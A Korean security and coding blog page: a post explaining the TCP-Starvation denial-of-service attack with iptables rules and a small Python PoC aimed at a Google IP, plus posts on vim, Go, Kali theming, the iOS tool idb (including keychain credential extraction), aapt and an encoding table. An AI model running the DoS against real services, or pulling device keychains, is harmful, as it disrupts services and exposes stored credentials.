2/28/2018

[HACKING] TCP‑Starvation Attack (DOS Attack on TCP Sessions)

요즘은 edb쪽 문서를 자주 보진 못하지만.. 주말부터 틈날때마다 하나 봐둔게 있습니다. 오늘 정리해서 작성해봅니다.

TCP-Stravation Attack 입니다.

What is?

TCP-Stravation Attack은 TCP 통신간 발생하는 DOS 취약점입니다. 굉장히 오랜 기간동안 감춰져있었고, 최근에 이야기되고 있습니다. TCP를 사용하는 서비스는 대상이되며 이걸 공개한 Eplox는 사이트별로 1분 30초에서 길게는 10분 넘는 시간 동안 timeout이 걸린다고 합니다.

google.com: 150sec
facebook.com: 200sec
wikipedia.org: 90sec
twitter.com: 1020sec
reddit.com: 710sec

RFC793 Document

1981년도 RFC793 문서를 보면 RST에 대한 이야기가 있습니다.
https://datatracker.ietf.org/doc/rfc793/?include_text=1



관련이 있으니 시간이 되신다면 찬찬히 읽어보시면 좋습니다.
급하다면.. 아래 부분만 바로 보시죠.

Vulnerable point


RFC793 문서에서 바로 이부분.

As a general rule, reset (RST) must be sent whenever a segment arrives
which apparently is not intended for the current connection. A reset
must not be sent if it is not clear that this is the case.

일반적으로 세그먼트가 도착할 때마다 RST를 보내야하지만, 명확한 connection이 아닌 경우 RST를 보내지 않도록 되어있습니다. 

이걸 악용해서 공격자가 의도적으로 불명확한 Connection을 만들어서 서버의 세션을 닫지 않고 유지하도록 만듭니다. 

아래 그림과 함께 보면 이해에 도움됩니다. 

https://www.exploit-db.com/docs/english/44026-tcp-starvation.pdf

일반적인 TCP 통신은 SYN SYN/ACK 이후 데이터 전송, 그리고 FIN ACK으로 세션 종료를 하지만 TCP-Stravation Attack은 ACK, FIN ACK을 전송하지 않습니다. 그래서 서버는 해당 세션을 열고 있는 상태를 유지하게 됩니다. 

공격자가 빠르게 많은 수의 요청을 수행하면 세션풀이 가득차고, 정상적인 사용자가 서비스 이용을 제대로 못하는 DOS가 발생합니다. 


Poc & Testing code

우선 쉽게 iptable로 RST와 FIN을 짤라줍니다. 

#> iptables -A OUTPUT -d 192.168.0.12 -p tcp —dport 80 —tcp-flags RST RST -j DROP
#> iptables -A OUTPUT -d 192.168.0.12 -p tcp —dport 80 —tcp-flags FIN FIN -j DROP

그다음 그냥 요청합니다. 80으로 짤랐으니 80으로..

#> curl http://192.168.0.12 --headers "Connection: keep-alive"


공개된 정보로는.. 

# Poc
#/usr/bin/python
import socket
header = ('GET / HTTP/1.1\r\n'
'Host: www.google.com\r\n'
'Connection: keep-alive\r\n\r\n')
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect(('173.194.222.100', 80))
s.send(header)
s.close()


# Test script
 - DDOS, WAF 적용 등

https://raw.githubusercontent.com/Eplox/TCP-Starvation/master/images/google.png


What's the diffrent with SYN Flood attack?

비슷하게 보일 수 있지만 약간 다릅니다. SYN의 경우 반연결(half), S는 완전 연결(Full)


Reference







Share: | Coffee Me:

2/27/2018

2/26/2018

[CODING] vim 개발을 위한 최소한의 plugin 설정(language plugin, CtrlP, airline)

매번 느끼지만 글로 작성하지 않은 내용들은 나중에 다시 세팅하거나, 참고해야할 때 참 불편합니다. 꼭 필요할 때 보면 없다죠..

최근에도 vim 세팅을 다시 할일이 있어 하나하나 세팅하고 있는데, 한번쯤은 메모해두면 두고두고 볼 것 같다라는 생각이 들었습니다. 짧게나마 시간 내어서 글 작성해봅니다.

정말 최소한의 세팅이다. 무겁게 쓰는게 싫어서 쓰다가 빼다가를 반복하다 보니 결국 남는건 없더라..

plugin 관리자 


apt, ruby-gem, python-pip 등의 공통점은 무엇일까요? 바로 패키지 관리자인데요, 이런 관리자들은 패키지를 설치하고 유지함에 있어 굉장한 도움을 줍니다.

vim 또한 자체적으로 여러개의 플러그인 관리자들을 통해 쉽게 설치, 사용이 가능합니다.
그 중 대표적인 양대산맥으로는 pathogen, vundle가 있습니다.

개인적으로 pathogen이 편하기 때문에 pathogen 기준으로 작성합니다.

pathogen 사용을 위해서는 vim plugin 폴더에 pathogen 플러그인을 설치해주어야합니다.

#> mkdir -p ~/.vim/autoload ~/.vim/bundle && \
curl -LSso ~/.vim/autoload/pathogen.vim https://tpo.pe/pathogen.vim

그다음 vimrc를 열어서 자동으로 pathogen이 로드되도록 execute를 추가합니다.

#> vim .vimrc
execute pathogen#infect()

Language plugin

vim 은 깔금하게 기본에 충실한 에디터입니다. 그러다보니, 개발하는 언어에 따라 플러그인을 설치해두어야 문법, 에러검증 등 도움을 받을 수 있습니다.

대체로 vim-[language] 형태로 배포됩니다. ruby랑 go를 깔아보면..

#> git clone git://github.com/vim-ruby/vim-ruby.git ~/.vim/bundle/vim-ruby
#> git clone https://github.com/fatih/vim-go.git ~/.vim/bundle/vim-go

끝입니다. pathogen은 참 좋습니다 :)

airline

맨 위 이미지 하단 부분을 잘 보시면 일반 vim 과는 약간 다릅니다. 이는 airline 이라는 플러그인이고, 에디팅 환경 자체에서 사용자에게 여러 정보를 제공해줍니다. (내가 편집모드인지, 여러가지 를 이쁘게!)

#> git clone https://github.com/vim-airline/vim-airline.git ~/.vim/bundle/vim-airline

따로 테마도 있으니 테마를 적용하면 스타일리쉬한 에디터 창을 구성할 수 있습니다.

https://github.com/vim-airline/vim-airline

CtrlP

마지막으로 가장 필수인 CtrlP 플러그인입니다. 이 친구는 자동 완성 기능 및 메소드 검색 등이 가능합니다.  설치는.. 아래 링크 참조 부탁드립니다.
http://ctrlpvim.github.io/ctrlp.vim/#installation

https://github.com/ctrlpvim/ctrlp.vim
이외에도 NERDTree, nerdcommenter, calendar.vim, vim-markdown 등 쓸만한 플러그인이 굉장히 많습니다. 적절히 잘 골라서 사용한다면 정말 좋은 개발환경이 됩니다.

아래 플러그인 정보가 잘 정리된 사이트 있으니 참고해주세요 :)
https://agvim.wordpress.com/2017/09/05/vim-plugins-50/




Share: | Coffee Me:

[GO] Learning Go Language - Hello world, GoRoutine

요즘 Go langage를 배워볼까 합니다. 그래서 아주.. 천천히 틈날때마다 보고있는데, 조금씩은 정리해서 포스팅해볼까 합니다.
아마 익숙해지면 Ruby와 섞어서 코딩하게 될 것 같네요. (매력적임)

문법에 대한 설명은.. 뭐 패스하고 Go만의 특이한 부분들 위주로 글 작성해보죠. (이번글은 뭐.. 그냥 헬로월드)



그럼 시작합니다.

What is Go lang?

2009년 11월 구글이 공개한 프로그래밍 언어로 C 스타일의 문법을 가지며 점차 관심받고 있는 언어입니다.
(이미 관심을 받죠)

대체로 Back-end단에서 서버 개발에서 좋은 평가를 받고있고, 모바일 앱 개발 지원쪽으로도 방향이 잡혀있는 걸로 알고있습니다.

사용 키워드(다른 언어에서 쓰는 것과 거의 동일합니다)
break
default
func
interface
select
case
defer
go
map
struct
chan
else
goto
package
switch
const
fallthrough
if
range
type
continue
for
import
return
var


Helloworld

모든 언어의 시작은 Hello World에서 시작됩니다.

package main

import "fmt"

func main() {
    fmt.Println("Hello world!");
    fmt.Printf("%d",999);   
}

프로그램의 시작 package, import를 통한 다른 패키지 불러오기. 그리고 Exported name

Go에서는 package 키워드를 통해 프로그램이 시작된 패키지를 지정할 수 있습니다. 위에 Hello World 코드에선 mail 패키지가 되겠지요.
시작되는 패키지의

추가적인 패키지는 import를 통해 로드할 수 있고, 타 언어에서 #include, require, import 등의 키워드와 비슷하다고 생각하시면 됩니다.

그럼 다른 패키지를 로드하면 모든 기능을 사용할 수 있을까요? 그건 보안적, 가용성 관련해서 문제가 발생할 수 있을 것 같고, 이는 각각 패키지에서 그 내용을 제어 할 수 있습니다.
바로 Exported name을 통해 제어합니다.

Exported name은 외부에서 로드했을 때 사용할 수 있는 메소드란 걸 알려주는 언어상의 규칙입니다. 예를들면...
abc라는 패키지의 returnA라는 함수가 있다고 가정합니다.

func returnA{
  return "r-A" // 외부에서 호출이 불가능한 함수
}


func ReturnA{
  return "R-A" // 외부에서 호출이 가능한 함수
}

이런 경우 ReturnA만 외부에서 로드가 가능해집니다. class의 private, public 관계 생각하시면 이해에 도움됩니다.

GoRoutine 

위에서 GoRoutine에 대한 이야기를 잠깐헀는데, 이야기를 더 이어가면 GoRoutine은 Go runtime 내부에서 관리되는 쓰레드. 아니 가상 쓰레드입니다.
go 키워드를 통해 GoRoutine을 호출할 수 있으며 비동기로 동작되기 떄문에 쓰레드처럼 여러 코드를 동시에 실행할 수 있습니다.

package main

import (
    "fmt"
    "time"
)

func routine(s string) { // goRoutine을 통해 실행할 함수
    for i := 0; i < 8; i++ { // 그냥 루프 돌면서 숫자 찍는 함수
        fmt.Println(s, i)
    }
}

func main() {
    go routine("GoRoutine 1 : ") // 첫번째 루틴 실행
    go routine("GoRoutine 2 : ") // 두번쨰 루틴 실행
    time.Sleep(time.Second * 5)
}


다른 언어의 쓰레드와는 다르게 OS 쓰레드를 생성하는 것이 아닌 Go 자체에서 관리하는 가상의 쓰레드(?)를 만들어서 동작하게 됩니다.
그래서 다른 쓰레드나 멀티 프로세스와는 다르게 가볍고 동적으로 메모리 관리가 되어서 적은 메모리 사용, 때에 따라 동적으로 증가시켜 퍼모먼스 또한 유지합니다.

각 routine들간 데이터 공유는 Go 채널이란 것을 이용해서 이루어집니다. 이 친구는 routine을 만드는 Go runtime 하위에서 동작합니다.



다만 Go routine은 Go 자체가 디폴트로 한개의 CPU를 사용하도록 되어있기 떄문에 갯수가 많아져도 한개만 사용합니다.
그래서.. 조금 더 걍력한 퍼포먼스가 필요하다면 runtime 패키지의 GOMAXPROCS를 통해 사용할 CPU의 갯수를 늘려줄 수 있습니다.


package main

import (
    "runtime"
    "fmt"
    "time"
)

func routine(s string) { // goRoutine을 통해 실행할 함수
    for i := 0; i < 8; i++ { // 그냥 루프 돌면서 숫자 찍는 함수
        fmt.Println(s, i)
    }
}

func main() {
    runtime.GOMAXPROCS(2) // 스펙
    go routine("GoRoutine 1 : ") // 첫번째 루틴 실행
    go routine("GoRoutine 2 : ") // 두번쨰 루틴 실행
    time.Sleep(time.Second * 5)
}

Reference

https://go-tour-kr.appspot.com/#1
https://namu.wiki/w/Go

Share: | Coffee Me:

2/25/2018

[DEBIAN] Kali Linux 로그인 화면, 잠금 화면 변경하기(Change background login , lock screen)

메모차 작성합니다.

kali에서 login, lock 화면 배경 변경하기.
기본적으로 아래 디렉토리에서 데이터를 읽어옵니다.
(/etc/alternatives/desktop-theme)
.
├── grub
│   ├── grub-16x9.png
│   ├── grub-4x3.png
│   ├── grub-4x3.png_b
│   └── grub_background.sh
├── lockscreen
│   ├── contents
│   │   └── images
│   │       ├── 1024x768.svg
│   │       ├── 1280x1024.svg
│   │       ├── 1280x720.svg
│   │       ├── 1280x800.svg
│   │       ├── 1600x1200.svg
│   │       ├── 1920x1080.svg
│   │       ├── 1920x1200.svg
│   │       ├── 2560x1080.svg
│   │       ├── 2560x1440.svg
│   │       ├── 2560x1600.svg
│   │       └── 3840x2160.svg
│   ├── gnome-background.xml
│   ├── gnome-background.xml_backup
│   └── metadata.desktop
├── login
│   ├── background.svg
│   ├── background.svg.back
│   ├── background.svg_back1
│   └── sddm-preview.png
├── plymouth -> ../../plymouth/themes/kali
├── plymouthd.defaults
└── wallpaper
    ├── contents
    │   └── images
    │       ├── 1024x768.svg
    │       ├── 1280x1024.svg
    │       ├── 1280x720.svg
    │       ├── 1280x800.svg
    │       ├── 1600x1200.svg
    │       ├── 1920x1080.svg
    │       ├── 1920x1200.svg
    │       ├── 2560x1080.svg
    │       ├── 2560x1440.svg
    │       ├── 2560x1600.svg
    │       └── 3840x2160.svg
    ├── gnome-background.xml
    └── metadata.desktop


login screen 번경

#> mv background.png /etc/alternatives/desktop-theme/login/background.svg

lock screen 변경

#> vim /etc/alternatives/desktop-theme/lockscreen/gnome-background.xml

<background>
  <static>
    <duration>8640000.0</duration>
    <file>
     <size width="1920" height="1200">/etc/alternatives/desktop-theme/login/background.svg</size>
    </file>
  </static>
</background>

Share: | Coffee Me:

2/15/2018

[HACKING] iOS App 정적 분석도구 IDB (Ruby gem package "IDB" for iOS Static Analysis)

최근에 루비 패키지 중 재미있는 툴을 하나 발견헀습니다. iOS 분석용 툴인데, Cycript, pcviewer, dumpdcrypt 등 분석 툴들을 활용해서 자동으로 분석해주고, 이를 한군데 모아서 볼 수 있는 정적분석 도구입니다.

개별적으로 툴 돌려가면서 판단하는 것도 좋지만, 한번에 잘 정리된 툴은 불필요한 시간을 줄여주고 분석가에게 조금 더 가치있는 시간을 부여할 수 있기 때문에 익혀두고 활용하면 좋을거라 생각됩니다.

오늘의 주제는.. idb 입니다.


Install

idb는 루비로 만들어진 프로그램입니다. 그리고 Gem에도 등록되어 있기 때문에 몇몇가지 내용만 잘 확인하면 설치는 아주 쉽습니다.

우선.. gem을 통한 설치이던, git에서 직접받아서 bundle을 통한 설치이던 공통적으로 cmake 같은 개발툴과 libxml 관련 라이브러리는 필수고 설치해야합니다. (gem이나 bundle이나 같은건데..)

#> apt-get install cmake libqt4-dev git-core libimobiledevice-utils libplist-utils usbmuxd libxml2-dev libsqlite3-dev -y

그러고 gem을 통해 idb를 설치해줍니다.

#> gem install idb

or ..

직접 과정을 보고싶다면.. git을 통해서 소스코드를 받고 설치해도 좋습니다.

#> git clone https://github.com/dmayer/idb
#> cd idb
#> bundle install

완료 후 idb를 실행하면 됩니다.

#> idb



TroubleShooting

저는.. 초기에 몇가지 문제가 있었습니다.
우선 libxml 관련 문제.

#> gem install idb
Building native extensions.  This could take a while...
ERROR:  Error installing idb:
 ERROR: Failed to build gem native extension.

    current directory: /var/lib/gems/2.3.0/gems/libxml-ruby-3.1.0/ext/libxml
/usr/bin/ruby2.3 -r ./siteconf20180215-8846-1f5z089.rb extconf.rb
checking for libxml/xmlversion.h in /opt/include/libxml2,/opt/local/include/libxml2,/usr/local/include/libxml2,/usr/include/libxml2... no
*** extconf.rb failed ***
Could not create Makefile due to some reason, probably lack of necessary
libraries and/or headers.  Check the mkmf.log file for more details.  You may
need configuration options.

Provided configuration options:
   --with-opt-dir
   --without-opt-dir
   --with-opt-include
   --without-opt-include=${opt-dir}/include
   --with-opt-lib
   --without-opt-lib=${
[....]

사실 초기에 라이브러리 다 안깔고 시작한것도 문제가 있었습니다만.. ruby-libxml까지 설치해서 깔끔하게 해결했습니다.

#> apt-get install cmake libqt4-dev git-core libimobiledevice-utils libplist-utils usbmuxd libxml2-dev libsqlite3-dev -y

#> apt-get install ruby-libxml


Device 설정 및 App 선택

idb는 usb ssh 연결이 기본 설정으로 되어있습니다. 물론 이게 안전한 방법이긴 하지만.. 개인에 취향에 따라 무선 환경에서 할 것인지 usb 통해서 할 것인지 설정할 수 있습니다.

file > setting > Device Config



이후 앱을 선택해서 정적분석을 진행할 수 있는데요, 우측에 앱 선택 버튼으로 선택 후 잠시 기다리면 기본적인 정보를 로드해서 보여줍니다. 추가로 암호화 등 기본적인 바이너리 분석 또한 바로 해두면 편합니다.

그리고 테스트기기(iOS)에는 분석에 사용되는 툴이 설치되어 있어야합니다. 물론 idb가 체크해주고, 바로 설치또한 가능합니다

대체로 Device 연결 시 창이 나타나며, 상단의 Status 버튼으로 호출 가능합니다.


URL Scheme

우선 URL Scheme이란 앱 내부,외부(다른앱,웹 등)에서 특정 액티비티를 호출한다던가 기능 수행을 위해서 만들어진 Scheme 입니다. iOS 말고 안드로이드에서도 사용되고 있고 앱의 기능성을 위해 많이 사용되죠. 하나 예시를 들면 웹뷰 제어같은 기능이죠.

testapp://open?url=http://www.hahwul.com

URL Scheme에서도 웹 URL과 같이 인자값을 받고, 처리할 수 있기 떄문에 대다수의 공격기법들이 동등하게 적용됩니다. 대체로 Redirection, XSS부터 각종 취약점 종류 모두 체크해볼 필요가 있지요. 

이런 URL Scheme은 앱 내부에 작성된 코드를 보고 직접 판단하거나, 앱에서 쓰이는 요청들을 분석해서 하나하나 찾아야합니다. 굉장히 노가다고, 툴을 통해 분석해도 모든 Scheme과 파라미터명, 사용처를 알기는 쉽지 않지요. idb에선 URL Handler란 탭을 통해 URL Scheme을 찾아줍니다.

솔직히 idb에서 가장 맘에들었던 부분입니다. 동적분석툴인 Snoop-it에서도 URL Scheme을 체크해주지만 Snoop-it의 경우 32비트만 지원하기 때문에 대다수의 아이패드, 아이폰은 동작하지 않습니다. 그치만 idb는 비트 상관없이 잘 뽑아줍니다.

물론 이 툴도 모든 Scheme을 뽑을 수는 없겠지만, 정적 분석 툴에서 하나라도 더 확인할 수 있다니 나이스하죠.

이외에도 Fuzzing을 통해 추가로 분석하는 기능 또한 제공하니 유용합니다.

Key chain

KeyChain 탭은 앱 자체에 대한 분석이 아닌 해당 iOS 기기에 대한 분석이 이루어집니다. KeyChain을 이용해서 여러가지 인증 요소로 사용할 수 있는데 이를 자동으로 수집하고 내용을 보여줍니다. Apple 계정의 인증정보 이외에도 각각 앱에 저장된 인증정보, Wifi Password 등 민감한 내용에 대해 수집이 가능합니다.



원래 탈옥이나 루팅을 하게되면 당연히 가능한 부분이고, 위험성도 잘 알려져있습니다. 이를 이런툴들을 통해서 조금 더 쉽게 수집할 수 있으니 공격자 입장에서 환영이지만, 루팅이나 탈옥이 일반 사용자들 입장에선 굉장히 위험하단것도 보여줄 수 있을듯합니다.

Conclusion

이외에도 바이너리, 파일시스템, 스토리지 분석 등 여러가지 기능을 제공해줍니다. 이런 툴들을 통해 큰 그림을 보고 다시 각각 부분에 특화된 프로그램들과 센스를 이용해서 취약점을 분석한다면.. 좋은 결과가 있지 않을까 싶네요.



Share: | Coffee Me:

2/11/2018

macOS에서 aapt 다운로드/사용하기(Download aapt binary for macOS)

macOS에선 Android SDK를 설치하여도 aapt가 깔리지 않습니다.

기본적으로 제공되는 항목에서도 없을뿐더러, brew로도 설치가 어렵습니다.
(adb는 있는데, aapt 만 없네요)

작년말쯤... 관련해서 제 git에 issue가 올라온게 있었습니다.
https://github.com/hahwul/droid-hunter/issues/12



관련해서 aapt 설치하라고 이야기는 드렸지만.. SDK에 포함되지 않는다는 걸 알고 나름대로 방법을 찾아보았습니다.

How to install?

자료를 찾던 중 github에서 aapt 바이너리가 있는 저장소를 찾았습니다. 보아하니 linux, macos를 32,64 비트 형태로 각각 빌드되어있었습니다.

https://github.com/eladkarako/aapt-pre-build-binary

우선 결과부터 말씀드리면 잘 동작하는 aapt입니다. 다만 항상 그렇듯이 직접 컴파일한 것이 아니면.. 믿음이 덜 가기 때문에 Virustotal에서 몇가지만 확인했습니다만 크게 별다른건 없었네요.



Conclusion

직접 aapt를 빌드할 수 있으면 참 좋겠습니다만.. 생각보다 코드나 자료가 잘 보이진 않습니다. 급하다면 바이너리를 직접 사용하시면 될 것 같고, 혹시라도 중요한 컴퓨터라면.. 가상환경이나 Docker 통해서 별도 동작시키는게 좋을 것 같습니다.

e.g
Docker 로 Linux 환경을 basd로 삼은 후 aapt를 설치하는게 좋아보입니다.
#> docker run -i -t test:ubuntuooooo /bin/bash
#[ubuntu] > apt-get install aapt



Share: | Coffee Me:

아스키 코드&HTML 코드표(Ascii&HTML code table, URL encode)

HTML & Ascii table 입니다. 가끔 참고하니 정리해둡니다.
빠른 검색은 Ctrl+F(검색) > CF_(+찾을 문자열)

Ascii&HTML code table



ASCIIHexSymbolURL EncodeHTML EncodeHTML Special charName[Ctrl+F]
00NULCF_0
11SOHCF_1
22STXCF_2
33ETXCF_3
44EOTCF_4
55ENQCF_5
66ACKCF_6
77BELCF_7
88BSCF_8
99TABCF_9
10ALFCF_10
11BVTCF_11
12CFFCF_12
13DCRCF_13
14ESOCF_14
15FSICF_15
1610DLECF_16
1711DC1CF_17
1812DC2CF_18
1913DC3CF_19
2014DC4CF_20
2115NAKCF_21
2216SYNCF_22
2317ETBCF_23
2418CANCF_24
2519EMCF_25
261ASUBCF_26
271BESCCF_27
281CFSCF_28
291DGSCF_29
301ERSCF_30
311FUSCF_31
3220(space)%20(space)spaceCF_32
3321!!!exclamation pointCF_33
3422"%22&#x22;&quot;double quotesCF_34
3523#%23#number signCF_35
3624$%24$dollar signCF_36
3725%%25%percent signCF_37
3826&%26&#x26;&amp;ampersandCF_38
3927'%27&#x27;single quoteCF_39
4028(((opening parenthesisCF_40
4129)))closing parenthesisCF_41
422A***asteriskCF_42
432B+%2B+plus signCF_43
442C,%2C,commaCF_44
452D---minus sign - hyphenCF_45
462E...periodCF_46
472F/%2F/slashCF_47
4830000zeroCF_48
4931111oneCF_49
5032222twoCF_50
5133333threeCF_51
5234444fourCF_52
5335555fiveCF_53
5436666sixCF_54
5537777sevenCF_55
5638888eightCF_56
5739999nineCF_57
583A:%3A:colonCF_58
593B;%3B;semicolonCF_59
603C<%3C&#x3C;&lt;less than signCF_60
613D=%3D=equal signCF_61
623E>%3E&#x3E;&gt;greater than signCF_62
633F?%3F?question markCF_63
6440@0.4@at symbolCF_64
6541AAAUpper case ACF_65
6642BBBUpper case BCF_66
6743CCCUpper case CCF_67
6844DDDUpper case DCF_68
6945EEEUpper case ECF_69
7046FFFUpper case FCF_70
7147GGGUpper case GCF_71
7248HHHUpper case HCF_72
7349IIIUpper case ICF_73
744AJJJUpper case JCF_74
754BKKKUpper case KCF_75
764CLLLUpper case LCF_76
774DMMMUpper case MCF_77
784ENNNUpper case NCF_78
794FOOOUpper case OCF_79
8050PPPUpper case PCF_80
8151QQQUpper case QCF_81
8252RRRUpper case RCF_82
8353SSSUpper case SCF_83
8454TTTUpper case TCF_84
8555UUUUpper case UCF_85
8656VVVUpper case VCF_86
8757WWWUpper case WCF_87
8858XXXUpper case XCF_88
8959YYYUpper case YCF_89
905AZZZUpper case ZCF_90
915B[%5B[opening bracketCF_91
925C\%5C\backslashCF_92
935D]%5D]closing bracketCF_93
945E^%5E^caret - circumflexCF_94
955F___underscoreCF_95
9660`%60&#x60;grave accentCF_96
9761aaaLower case aCF_97
9862bbbLower case bCF_98
9963cccLower case cCF_99
10064dddLower case dCF_100
10165eeeLower case eCF_101
10266fffLower case fCF_102
10367gggLower case gCF_103
10468hhhLower case hCF_104
10569iiiLower case iCF_105
1066AjjjLower case jCF_106
1076BkkkLower case kCF_107
1086ClllLower case lCF_108
1096DmmmLower case mCF_109
1106EnnnLower case nCF_110
1116FoooLower case oCF_111
11270pppLower case pCF_112
11371qqqLower case qCF_113
11472rrrLower case rCF_114
11573sssLower case sCF_115
11674tttLower case tCF_116
11775uuuLower case uCF_117
11876vvvLower case vCF_118
11977wwwLower case wCF_119
12078xxxLower case xCF_120
12179yyyLower case yCF_121
1227AzzzLower case zCF_122
1237B{%7B{opening braceCF_123
1247C|%7C|vertical barCF_124
1257D}%7D}closing braceCF_125
1267E~~~equivalency sign - tildeCF_126
1277F%7F&#x7F;CF_127
160A0&nbsp;non-breaking spaceCF_160
161A1¡%C2%A1&#xA1;&iexcl;inverted exclamation markCF_161
162A2¢%C2%A2&#xA2;&cent;cent signCF_162
163A3£%C2%A3&#xA3;&pound;pound signCF_163
164A4¤%C2%A4&#xA4;&curren;currency signCF_164
165A5¥%C2%A5&#xA5;&yen;yen signCF_165
166A6¦%C2%A6&#xA6;&brvbar;broken vertical barCF_166
167A7§%C2%A7&#xA7;&sect;section signCF_167
168A8¨%C2%A8&#xA8;&uml;spacing diaeresis - umlautCF_168
169A9©%C2%A9&#xA9;&copy;copyright signCF_169
170AAª%C2%AA&#xAA;&ordf;feminine ordinal indicatorCF_170
171AB«%C2%AB&#xAB;&laquo;left double angle quotesCF_171
172AC¬%C2%AC&#xAC;&not;not signCF_172
173AD&shy;soft hyphenCF_173
174AE®%C2%AE&#xAE;&reg;registered trade mark signCF_174
175AF¯%C2%AF&#xAF;&macr;spacing macron - overlineCF_175
176B0°%C2%B0&#xB0;&deg;degree signCF_176
177B1±%C2%B1&#xB1;&plusmn;plus-or-minus signCF_177
178B2²%C2%B2&#xB2;&sup2;superscript two - squaredCF_178
179B3³%C2%B3&#xB3;&sup3;superscript three - cubedCF_179
180B4´%C2%B4&#xB4;&acute;acute accent - spacing acuteCF_180
181B5µ%C2%B5&#xB5;&micro;micro signCF_181
182B6%C2%B6&#xB6;&para;pilcrow sign - paragraph signCF_182
183B7·%C2%B7&#xB7;&middot;middle dot - Georgian commaCF_183
184B8¸%C2%B8&#xB8;&cedil;spacing cedillaCF_184
185B9¹%C2%B9&#xB9;&sup1;superscript oneCF_185
186BAº%C2%BA&#xBA;&ordm;masculine ordinal indicatorCF_186
187BB»%C2%BB&#xBB;&raquo;right double angle quotesCF_187
188BC¼%C2%BC&#xBC;&frac14;fraction one quarterCF_188
189BD½%C2%BD&#xBD;&frac12;fraction one halfCF_189
190BE¾%C2%BE&#xBE;&frac34;fraction three quartersCF_190
191BF¿%C2%BF&#xBF;&iquest;inverted question markCF_191
192C0À%C3%80&#xC0;&Agrave;latin capital letter A with graveCF_192
193C1Á%C3%81&#xC1;&Aacute;latin capital letter A with acuteCF_193
194C2Â%C3%82&#xC2;&Acirc;latin capital letter A with circumflexCF_194
195C3Ã%C3%83&#xC3;&Atilde;latin capital letter A with tildeCF_195
196C4Ä%C3%84&#xC4;&Auml;latin capital letter A with diaeresisCF_196
197C5Å%C3%85&#xC5;&Aring;latin capital letter A with ring aboveCF_197
198C6Æ%C3%86&#xC6;&AElig;latin capital letter AECF_198
199C7Ç%C3%87&#xC7;&Ccedil;latin capital letter C with cedillaCF_199
200C8È%C3%88&#xC8;&Egrave;latin capital letter E with graveCF_200
201C9É%C3%89&#xC9;&Eacute;latin capital letter E with acuteCF_201
202CAÊ%C3%8A&#xCA;&Ecirc;latin capital letter E with circumflexCF_202
203CBË%C3%8B&#xCB;&Euml;latin capital letter E with diaeresisCF_203
204CCÌ%C3%8C&#xCC;&Igrave;latin capital letter I with graveCF_204
205CDÍ%C3%8D&#xCD;&Iacute;latin capital letter I with acuteCF_205
206CEÎ%C3%8E&#xCE;&Icirc;latin capital letter I with circumflexCF_206
207CFÏ%C3%8F&#xCF;&Iuml;latin capital letter I with diaeresisCF_207
208D0Ð%C3%90&#xD0;&ETH;latin capital letter ETHCF_208
209D1Ñ%C3%91&#xD1;&Ntilde;latin capital letter N with tildeCF_209
210D2Ò%C3%92&#xD2;&Ograve;latin capital letter O with graveCF_210
211D3Ó%C3%93&#xD3;&Oacute;latin capital letter O with acuteCF_211
212D4Ô%C3%94&#xD4;&Ocirc;latin capital letter O with circumflexCF_212
213D5Õ%C3%95&#xD5;&Otilde;latin capital letter O with tildeCF_213
214D6Ö%C3%96&#xD6;&Ouml;latin capital letter O with diaeresisCF_214
215D7×%C3%97&#xD7;&times;multiplication signCF_215
216D8Ø%C3%98&#xD8;&Oslash;latin capital letter O with slashCF_216
217D9Ù%C3%99&#xD9;&Ugrave;latin capital letter U with graveCF_217
218DAÚ%C3%9A&#xDA;&Uacute;latin capital letter U with acuteCF_218
219DBÛ%C3%9B&#xDB;&Ucirc;latin capital letter U with circumflexCF_219
220DCÜ%C3%9C&#xDC;&Uuml;latin capital letter U with diaeresisCF_220
221DDÝ%C3%9D&#xDD;&Yacute;latin capital letter Y with acuteCF_221
222DEÞ%C3%9E&#xDE;&THORN;latin capital letter THORNCF_222
223DFß%C3%9F&#xDF;&szlig;latin small letter sharp s - ess-zedCF_223
224E0à%C3%A0&#xE0;&agrave;latin small letter a with graveCF_224
225E1á%C3%A1&#xE1;&aacute;latin small letter a with acuteCF_225
226E2â%C3%A2&#xE2;&acirc;latin small letter a with circumflexCF_226
227E3ã%C3%A3&#xE3;&atilde;latin small letter a with tildeCF_227
228E4ä%C3%A4&#xE4;&auml;latin small letter a with diaeresisCF_228
229E5å%C3%A5&#xE5;&aring;latin small letter a with ring aboveCF_229
230E6æ%C3%A6&#xE6;&aelig;latin small letter aeCF_230
231E7ç%C3%A7&#xE7;&ccedil;latin small letter c with cedillaCF_231
232E8è%C3%A8&#xE8;&egrave;latin small letter e with graveCF_232
233E9é%C3%A9&#xE9;&eacute;latin small letter e with acuteCF_233
234EAê%C3%AA&#xEA;&ecirc;latin small letter e with circumflexCF_234
235EBë%C3%AB&#xEB;&euml;latin small letter e with diaeresisCF_235
236ECì%C3%AC&#xEC;&igrave;latin small letter i with graveCF_236
237EDí%C3%AD&#xED;&iacute;latin small letter i with acuteCF_237
238EEî%C3%AE&#xEE;&icirc;latin small letter i with circumflexCF_238
239EFï%C3%AF&#xEF;&iuml;latin small letter i with diaeresisCF_239
240F0ð%C3%B0&#xF0;&eth;latin small letter ethCF_240
241F1ñ%C3%B1&#xF1;&ntilde;latin small letter n with tildeCF_241
242F2ò%C3%B2&#xF2;&ograve;latin small letter o with graveCF_242
243F3ó%C3%B3&#xF3;&oacute;latin small letter o with acuteCF_243
244F4ô%C3%B4&#xF4;&ocirc;latin small letter o with circumflexCF_244
245F5õ%C3%B5&#xF5;&otilde;latin small letter o with tildeCF_245
246F6ö%C3%B6&#xF6;&ouml;latin small letter o with diaeresisCF_246
247F7÷%C3%B7&#xF7;&divide;division signCF_247
248F8ø%C3%B8&#xF8;&oslash;latin small letter o with slashCF_248
249F9ù%C3%B9&#xF9;&ugrave;latin small letter u with graveCF_249
250FAú%C3%BA&#xFA;&uacute;latin small letter u with acuteCF_250
251FBû%C3%BB&#xFB;&ucirc;latin small letter u with circumflexCF_251
252FCü%C3%BC&#xFC;&uuml;latin small letter u with diaeresisCF_252
253FDý%C3%BD&#xFD;&yacute;latin small letter y with acuteCF_253
254FEþ%C3%BE&#xFE;&thorn;latin small letter thornCF_254
255FFÿ%C3%BF&#xFF;&yuml;latin small letter y with diaeresisCF_255
338152Œ%C5%92&#x152;latin capital letter OECF_338
339153œ%C5%93&#x153;latin small letter oeCF_339
352160Š%C5%A0&#x160;latin capital letter S with caronCF_352
353161š%C5%A1&#x161;latin small letter s with caronCF_353
376178Ÿ%C5%B8&#x178;latin capital letter Y with diaeresisCF_376
